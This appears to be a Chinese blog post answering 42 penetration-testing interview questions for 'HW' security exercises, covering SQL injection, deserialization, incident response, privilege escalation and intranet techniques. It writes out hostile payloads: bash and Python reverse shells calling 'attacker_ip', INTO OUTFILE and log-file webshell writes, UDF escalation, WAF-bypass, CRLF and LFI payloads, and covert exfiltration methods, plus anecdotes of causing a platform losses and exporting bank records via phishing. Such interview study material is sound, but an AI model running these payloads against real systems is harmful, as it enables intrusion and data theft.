2025年渗透测试面试题总结-2025年HW(护网面试) 02(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[2025年HW(护网面试) 02](#2025年HW(护网面试) 02)

[1. 有趣的挖洞经历](#1. 有趣的挖洞经历)

[2. 高频漏洞及修复方案](#2. 高频漏洞及修复方案)

[3. PHP/Java反序列化漏洞](#3. PHP/Java反序列化漏洞)

[4. 服务器入侵应急响应流程](#4. 服务器入侵应急响应流程)

[5. 常用渗透工具及特点](#5. 常用渗透工具及特点)

[6. WAF绕过案例(SQL注入)](#6. WAF绕过案例(SQL注入))

[7. SQL注入检测方法](#7. SQL注入检测方法)

[8. SQL注入全解析](#8. SQL注入全解析)

[9. 无错误回显原因](#9. 无错误回显原因)

[10. 宽字符注入原理](#10. 宽字符注入原理)

[11. CRLF注入原理](#11. CRLF注入原理)

[12. MySQL 5.0注入差异](#12. MySQL 5.0注入差异)

[13. php.ini 安全特性](#13. php.ini 安全特性)

[14. %00截断原理](#14. %00截断原理)

[15. Webshell检测方法](#15. Webshell检测方法)

[16. PHP LFI漏洞原理](#16. PHP LFI漏洞原理)

[17. 中间件解析漏洞](#17. 中间件解析漏洞)

[18. MySQL用户密码存储](#18. MySQL用户密码存储)

[19. Windows、Linux、数据库的加固降权思路(任选其一)](#19. Windows、Linux、数据库的加固降权思路(任选其一))

[20. 判断系统是否存在后门的工具](#20. 判断系统是否存在后门的工具)

[21. 绕过CDN获取目标网站真实IP的思路](#21. 绕过CDN获取目标网站真实IP的思路)

[22. 网站渗透测试思路(授权前提下)](#22. 网站渗透测试思路(授权前提下))

[23. Windows与Linux系统提权思路](#23. Windows与Linux系统提权思路)

Windows提权:

Linux提权:

[24. 开源组件高危漏洞(10个以上)](#24. 开源组件高危漏洞(10个以上))

[25. 反弹Shell命令及常用类型](#25. 反弹Shell命令及常用类型)

[26. CMD查询远程终端开放端口](#26. CMD查询远程终端开放端口)

[27. IIS+PHP+MySQL渗透思路(root注入漏洞)](#27. IIS+PHP+MySQL渗透思路(root注入漏洞))

[28. MySQL查询表列名语句](#28. MySQL查询表列名语句)

[29. UDF提权](#29. UDF提权)

[30. SQL头注入点](#30. SQL头注入点)

[31. PHP命令执行函数](#31. PHP命令执行函数)

[32. SSRF漏洞:成因、防御、绕过](#32. SSRF漏洞:成因、防御、绕过)

[33. MySQL写Shell的几种方法](#33. MySQL写Shell的几种方法)

[34. Metasploit打开反向监听的命令](#34. Metasploit打开反向监听的命令)

[35. 反向代理工具](#35. 反向代理工具)

[36. 曲折的渗透经历](#36. 曲折的渗透经历)

[37. 查找域控方法](#37. 查找域控方法)

[38. PHP弱类型底层判断原理](#38. PHP弱类型底层判断原理)

[39. ARP攻击原理及防御](#39. ARP攻击原理及防御)

[40. 渗透大企业 vs 小站点](#40. 渗透大企业 vs 小站点)

[41. 内网反弹Shell流量隐蔽方法](#41. 内网反弹Shell流量隐蔽方法)

[42. 非TCP/IP协议内网数据外传](#42. 非TCP/IP协议内网数据外传)

2025年HW(护网面试) 02

复制代码
1、介绍一下自认为有趣的挖洞经历
2、你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?
3、php/java反序列化漏洞的原理?解决方案?
4、如果一台服务器被入侵后,你会如何做应急响应
5、你平时使用哪些工具?以及对应工具的特点?
6、遇到waf如何进行sql注入/上传Webshell?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一)
7、如何判断sql注入,有哪些方法
8、介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
9、为什么有的时候没有错误回显
10、宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造
11、CRLF注入的原
12、mysql的网站注入,5.0以上和5.0以下有什么区别?
13、php.ini可以设置哪些安全特性
14、php的%00截断的原理是什么?
15、webshell检测,有哪些方法
16、php的LFI,本地包含漏洞原理是什么?
17、说说常见的中间件解析漏洞利用方式
18、mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?
19、Windows、Linux、数据库的加固降权思路,任选其一
20、你使用什么工具来判断系统是否存在后门
21、如何绕过CDN获取目标网站真实IP,谈谈你的思路?
22、如果给你一个网站,你的渗透测试思路是什么? 在获取书面授权的前提下。
23、谈一谈Windows系统与Linux系统提权的思路?
24、列举出您所知道的所有开源组件高危漏洞(十个以上)
25、反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
26、CMD命令行如何查询远程终端开放端口
27、服务器为IIS+PHP+MySQL,发现root权限注入漏洞,讲讲你的渗透思路
28、请写出Mysql5数据库中查询库'helloworld'中'users'表所有列名的语句
29、udf提权 
30、SQL头注入点
31、php中命令执行涉及到的函数
32.、SSRF漏洞的成因 防御 绕过
33、mysql写shell有几种方法
34、Metasploit 打开反向监听的命令
35、有哪些反向代理的工具?
36、有什么比较曲折的渗透经历
37、怎么查找域控 
38、PHP 作为弱类型语言,在底层它是怎么判断变量的类型的 
39、ARP 攻击的原理(讲出具体的流程),如何发现并防御 ARP 攻击 
40、渗透大企业简单还是小站点简单,为什么 
41、内网如何反弹 shell,反弹的 shell 流量如何隐蔽 
42、除了 TCPIP 协议,如何将内网数据传递出来(内网环境有着严格防御与审查)

1. 有趣的挖洞经历

目标 :某在线教育平台的课程兑换码系统
漏洞 :逻辑漏洞(兑换码无限生成)
过程

  • 发现兑换码生成接口未验证权限,普通用户可调用生成接口;
  • 通过Burp重放请求,发现响应中直接返回有效兑换码;
  • 构造批量脚本生成数万个兑换码,导致平台损失数万元;
    修复方案
  1. 接口添加权限校验(如JWT鉴权);
  2. 限制单用户生成频率(如每分钟1次);
  3. 兑换码使用后立即失效。

2. 高频漏洞及修复方案

漏洞类型 原理 修复方案
SQL注入 用户输入拼接SQL导致命令执行 预编译语句(MyBatis #{})
SSRF 服务端发起未校验的外部请求 禁用非常用协议,URL白名单
文件上传 未过滤文件类型和内容 MIME校验+文件头检测

3. PHP/Java反序列化漏洞

原理

  • PHPunserialize()触发魔术方法(如__wakeup());
  • JavaObjectInputStream反序列化触发readObject()
    解决方案
  • PHP:使用json_decode()替代;
  • Java:实现SerializationFilter校验类白名单。

4. 服务器入侵应急响应流程

  1. 隔离网络:断开网线或禁用端口;
  2. 备份取证
    • 内存镜像:dumpit.exe (Windows)/ LiME(Linux);
    • 关键日志:/var/log/auth.log 、Windows事件日志;
  3. 分析溯源
    • 查找后门:find / -name "*.php" -mtime -1
    • 排查进程:ps auxf | grep reverse_shell
  4. 恢复加固:修复漏洞、重置SSH密钥。

5. 常用渗透工具及特点

工具 用途 特点
Burp Suite Web漏洞测试 插件扩展(Logger++)
Nmap 端口扫描 脚本引擎(NSE)
CobaltStrike 内网渗透 可视化C2控制

6. WAF绕过案例(SQL注入)

场景 :某云WAF拦截UNION SELECT
绕过步骤

  1. 注释混淆UNION/*!88888abc*/SELECT 1,2,3
  2. 分块传输Transfer-Encoding: chunked分割Payload;
    最终Payload
复制代码
sql`id=1'/*!and*/1=2 union select 1,@@version,3-- -`

7. SQL注入检测方法

  1. 错误回显 :输入单引号'触发数据库报错;
  2. 布尔盲注and 1=1(正常) vs and 1=2(异常);
  3. 时间盲注and sleep(5)观察响应延迟。

8. SQL注入全解析

成因 :动态拼接SQL(如"SELECT * FROM users WHERE id=" + input
防范

  • 预编译(Java的PreparedStatement);
  • 输入过滤(正则过滤'--)。
    注入方式
  • Union注入、报错注入、堆叠查询;
    扩展利用
  • 读取文件:LOAD_FILE('/etc/passwd')
  • 执行命令:MySQL UDF调用系统函数。

9. 无错误回显原因

  1. 配置display_errors = Off
  2. 自定义错误页面(如PHP的error_reporting(0));
  3. 前端过滤错误信息(如JSON统一封装)。

10. 宽字符注入原理

原理 :GBK编码中%bf%27被解析为縗',绕过转义(\'%5c%27);
Payload

复制代码
id=%bf%27 union select 1,database(),3--+  

11. CRLF注入原理

原理 :注入%0d%0a(回车换行)伪造HTTP头或日志;
利用

复制代码
/login?url=test%0d%0aSet-Cookie:admin=1  

12. MySQL 5.0注入差异

特性 5.0以下 5.0以上
信息获取 暴力猜解表名 information_schema
函数权限 受限 支持LOAD_FILE()

13. php.ini 安全特性

复制代码
ini`disable_functions = system,exec,passthru # 禁用危险函数 open_basedir = /var/www/html # 限制文件访问 expose_php = Off # 隐藏PHP版本 cgi.fix_pathinfo = 0 # 防止路径解析漏洞 `

14. %00截断原理

场景include($_GET['file'] . '.php')
利用file=../../etc/passwd%00(PHP<5.3自动截断);
原理 :C语言中\x00为字符串终止符。


15. Webshell检测方法

  1. 静态检测 :正则匹配eval(system(等函数;
  2. 动态检测 :监控异常进程(如/bin/sh -i);
  3. 流量分析:识别加密Webshell的固定特征(如蚁剑流量)。

16. PHP LFI漏洞原理

原理include()require()动态包含未过滤的文件路径;
利用

复制代码
?file=php://filter/convert.base64-encode/resource=index.php   

17. 中间件解析漏洞

中间件 漏洞形式
IIS 6.0 /shell.asp;.jpg 执行ASP代码
Apache file.php.jpg 解析为PHP
Nginx /test.jpg/test.php 触发解析

18. MySQL用户密码存储

存储表mysql.user
加密方式

  • MySQL 5.7+:SHA256 + 盐;
  • 历史版本:SHA1(SHA1(password))

19. Windows、Linux、数据库的加固降权思路(任选其一)

选择Linux系统加固思路:

  1. 最小化安装:仅安装必要软件包,减少攻击面。

  2. 用户与权限控制

    • 创建低权限用户运行服务(如www-data运行Web服务);
    • 禁用root远程登录,使用sudo授权普通用户;
    • 设置严格的文件权限(如chmod 750 /var/www)。
  3. 防火墙配置

    • 使用iptablesfirewalld限制入站端口(仅开放SSH、HTTP/HTTPS);
    • 默认拒绝所有入站,允许特定IP访问管理端口。
  4. 服务加固

    • 禁用不必要的服务(systemctl disable vsftpd);

    • 配置SSH安全:

      复制代码
      bash`# /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no # 强制密钥登录`
  5. 日志与监控

    • 启用auditd审计关键文件(如/etc/passwd);
    • 配置logrotate防止日志溢出。

20. 判断系统是否存在后门的工具

常用工具及特点:

  1. Rootkit检测工具
    • chkrootkit:检查常见rootkit特征;
    • rkhunter:扫描隐藏文件、异常进程等。
  2. 进程监控
    • ps auxf + netstat -antp:排查异常进程与网络连接;
    • lsof -p <PID>:查看进程打开文件。
  3. 文件完整性校验
    • AIDE(高级入侵检测环境):创建文件哈希数据库,定期比对。
  4. 内存分析
    • Volatility:针对内存镜像分析恶意进程、隐藏模块。

21. 绕过CDN获取目标网站真实IP的思路

  1. 历史DNS记录
    • 查询SecurityTrailsDNSdumpster等获取历史A记录。
  2. 子域名探测
    • 扫描未接入CDN的子域名(如test.example.com ),可能指向真实IP。
  3. 邮件服务器溯源
    • 注册网站邮箱或触发邮件(如密码重置),检查邮件头Received字段IP。
  4. SSL证书匹配
    • Censys搜索相同SSL证书的IP地址。
  5. 敏感文件泄露
    • 访问/phpinfo.php/server-status等可能暴露真实IP的文件。
  6. 全球Ping
    • 使用Cloudflare未覆盖的地区节点(如南美、非洲)进行Ping测试(工具:Ping.eu )。

22. 网站渗透测试思路(授权前提下)

  1. 信息收集
    • 域名/IP资产(Amass)、端口服务(Nmap)、目录扫描(Dirb)。
  2. 漏洞扫描
    • 自动化扫描器(Burp SuiteNessus)检测SQL注入/XSS等。
  3. 手动测试重点区域
    • 登录/支付/密码重置功能(逻辑漏洞);
    • 文件上传点(绕过黑名单);
    • API接口(未授权访问)。
  4. 权限提升与持久化
    • 利用系统/服务漏洞提权(如DirtyPipe);
    • 写入Webshell或计划任务。
  5. 报告输出
    • 清晰描述漏洞原理、复现步骤、危害及修复建议。

23. Windows与Linux系统提权思路

Windows提权
  1. 内核漏洞
    • 工具Watson检测未修复漏洞(如CVE-2021-34527打印噩梦)。
  2. 服务权限滥用
    • 查找可写服务路径(accesschk.exe + sc config修改路径)。
  3. 凭证窃取
    • 内存抓取密码(Mimikatz)、SAM数据库导出。
Linux提权
  1. SUID滥用
    • find / -perm -4000 2>/dev/null查找可执行文件(如find命令执行:find . -exec /bin/sh \;)。
  2. 定时任务
    • 检查可写的Cron脚本(/etc/cron*)。
  3. 环境变量劫持
    • PATH中插入恶意路径(如替换ls为恶意脚本)。

24. 开源组件高危漏洞(10个以上)

组件 漏洞编号/名称 影响
Log4j CVE-2021-44228(Log4Shell) 远程代码执行(RCE)
OpenSSL CVE-2014-0160(Heartbleed) 内存信息泄露
Apache Struts CVE-2017-5638 OGNL表达式RCE
Spring CVE-2022-22965 远程代码执行
Fastjson CVE-2017-18349 反序列化RCE
ThinkPHP CVE-2018-20062 任意文件包含
Drupal CVE-2018-7600(Drupalgeddon2) 远程代码执行
Redis 未授权访问漏洞 数据泄露/RCE
Nginx CVE-2013-2028 栈溢出导致RCE
GitLab CVE-2021-22205 未授权RCE

25. 反弹Shell命令及常用类型

常用命令

复制代码
bash`# Bash bash -i >& /dev/tcp/attacker_ip/port 0>&1 # Python python -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' `

常用Shell类型/bin/bash/bin/sh
原因

  • 交互性强(支持Tab补全、历史命令);
  • 广泛存在于Linux系统,兼容性好。

26. CMD查询远程终端开放端口

复制代码
cmd`netstat -ano | findstr "ESTABLISHED" | findstr ":3389" `
  • 说明:过滤3389端口(RDP默认端口)的已建立连接。

27. IIS+PHP+MySQL渗透思路(root注入漏洞)

  1. 利用SQL注入

    • 获取数据库信息:union select user(),@@version,database()
    • 读取敏感文件:' UNION SELECT LOAD_FILE('/etc/passwd'),2,3 -- -
  2. 写入Webshell

    复制代码
    sql`UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/shell.php' `

    前提:MySQL有写权限且secure_file_priv为空。

  3. 提权

    • 利用PHP执行系统命令,上传提权工具(如LinEnum.sh );
    • 内核漏洞提权(如DirtyCow)。

28. MySQL查询表列名语句

复制代码
sql`SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='helloworld' AND TABLE_NAME='users'; `

29. UDF提权

步骤

  1. 编译恶意UDF文件(如lib_mysqludf_sys.so );

  2. 导入MySQL:

    复制代码
    sql`CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'; `
  3. 执行命令:

    复制代码
    sql`SELECT sys_exec('id > /tmp/out'); `

注意:需plugin_dir写权限及MySQL版本匹配。


30. SQL头注入点

指注入点在HTTP头部字段,例如:

  • User-Agent' OR 1=1-- -
  • X-Forwarded-For127.0.0.1'; WAITFOR DELAY '0:0:5'-- -
  • Cookietoken=' UNION SELECT 1,2,3-- -

31. PHP命令执行函数

高危函数列表:

复制代码
php``system("id"); // 执行命令并输出结果 exec("ls", $output); // 执行命令返回最后一行 passthru("cat /etc/passwd"); // 直接输出原始结果 shell_exec("whoami"); // 执行命令返回完整输出 `$_GET['cmd']`; // 反引号执行 ``

32. SSRF漏洞:成因、防御、绕过

成因 :服务端未校验用户输入的URL(如file_get_contents($_GET['url']))。
防御

  • 禁止file://gopher://等危险协议;
  • 内网IP黑名单校验。
    绕过
  • IPv6地址:http://[::1]:80/
  • DNS重绑定:利用TTL为0的域名指向内网IP(如rbndr.us );
  • 302跳转:构造恶意跳转至127.0.0.1

33. MySQL写Shell的几种方法

  1. INTO OUTFILE

    复制代码
    sql`SELECT "<?php eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/shell.php'; `
  2. 日志文件写入

    复制代码
    sql`SET global general_log_file='/var/www/shell.php'; SET global general_log=on; SELECT '<?php system($_GET["c"]);?>'; `
  3. 慢查询日志

    复制代码
    sql`SET GLOBAL slow_query_log_file='/var/www/shell.php'; SET GLOBAL slow_query_log=1; SELECT '<?php system($_GET["c"]);?>' FROM SLEEP(11); `

34. Metasploit打开反向监听的命令

复制代码
bash`msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.10 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > run `

35. 反向代理工具

工具 特点
Ngrok 公有服务器中转,无需公网IP
frp 高性能内网穿透,支持TCP/UDP
reGeorg 专用于HTTP/Socks代理跳板
Chisel 加密隧道,支持多协议

36. 曲折的渗透经历

目标 :某金融机构内部系统
过程

  1. 初始入口:钓鱼邮件获取员工VPN账号;
  2. 内网扫描:发现老旧Windows Server 2008(未打补丁);
  3. 提权失败:多次内核利用失败(系统加固);
  4. 横向移动:抓取内存密码进入数据库服务器;
  5. 数据获取:利用MySQL弱口令导出百万条交易记录。
    关键点:通过SMB共享传播恶意计划任务绕过防护。

37. 查找域控方法

  1. DNS查询

    复制代码
    cmd`nslookup -type=SRV _ldap._tcp.dc._msdcs.example.com `
  2. 命令探测

    复制代码
    cmd`net group "Domain Controllers" /domain # Windows `
  3. 端口扫描

    • 域控通常开放389(LDAP)、88(Kerberos)等端口。

38. PHP弱类型底层判断原理

原理

  • PHP使用zval结构体存储变量,包含值(value)和类型(type);
  • 类型转换规则(如"123abc" == 123):
    1. 字符串转为数字时从左截取到第一个非数字字符;
    2. 比较时若一方为整数,另一方字符串会被转为整数再比较。

39. ARP攻击原理及防御

原理(流程)

  1. 攻击者发送伪造ARP响应包:

    复制代码
    "我是192.168.1.1,我的MAC是XX:XX:XX(攻击者MAC)"  
  2. 网关与受害者更新ARP缓存,流量被重定向到攻击者主机。
    检测方法

  • ARP表异常(如多IP映射同MAC);
  • 工具:arpwatch监控MAC变化。
    防御
  • 静态ARP绑定(arp -s 网关IP 网关MAC);
  • 交换机端口安全(MAC绑定)。

40. 渗透大企业 vs 小站点

大企业更难

  • 原因:
    1. 安全团队专业(WAF、IDS、SOC监控);
    2. 资产分散但防护完善(漏洞修复快);
    3. 代码审计严格(SDL流程)。
      小站点更易
  • 原因:
    1. 安全投入低(默认配置、弱密码);
    2. 缺乏维护(老旧系统未更新)。

41. 内网反弹Shell流量隐蔽方法

  1. 加密通信
    • 使用HTTPS隧道(如Stunnel);
    • 工具:Metasploitreverse_https载荷。
  2. 协议伪装
    • 流量伪装成DNS、ICMP(工具:DNSCatICMP隧道)。
  3. 延时与分片
    • 设置命令执行间隔降低流量特征(如meterpreterset CommunicationTimeout)。

42. 非TCP/IP协议内网数据外传

  1. 物理介质
    • USB设备手动传递(风险高)。
  2. 隐蔽信道
    • HTTP隐蔽信道 :图片隐写(steghide)、协议字段(如Cookie);
    • ICMP隐蔽信道 :利用ICMP报文载荷传递数据(工具:icmpsh);
    • DNS隐蔽信道 :将数据编码为DNS查询(如AAAA记录请求)。
相关推荐
Little-Hu8 分钟前
linux线程同步
linux·线程·条件变量·互斥锁·信号量·线程同步·读写锁
楼台的春风29 分钟前
【Linux驱动开发 ---- 4.1_sysfs 详解】
linux·运维·c语言·数据库·人工智能·驱动开发·嵌入式硬件
月光技术杂谈41 分钟前
linux下MQTT订阅发布验证-mosquitto安装测试流程
linux·mqtt·订阅·mosquitto·发布·mosquitto_pub·mqtt-clients
涟涟涟涟42 分钟前
UE5错误 Linux离线状态下错误 请求失败libcurl错误:6无法解析主机名
linux·ue5
听风lighting1 小时前
WebServer实现:muduo库的主丛Reactor架构
linux·运维·网络·c++·socket·webserver
Insist7531 小时前
linux操作系统---小白玩转shell脚本
linux·运维·服务器
程序员清风1 小时前
RocketMQ发送消息默认是什么策略,主同步成功了就算成功了?异步写?还是要大部分从都同步了?
java·后端·面试
YuTaoShao2 小时前
Java八股文——消息队列「场景篇」
java·面试·消息队列·八股文
Xの哲學2 小时前
hostapd状态机解析
linux·网络·算法·wireless
孞㐑¥2 小时前
Linux之线程同步与互斥
linux·c++·经验分享·笔记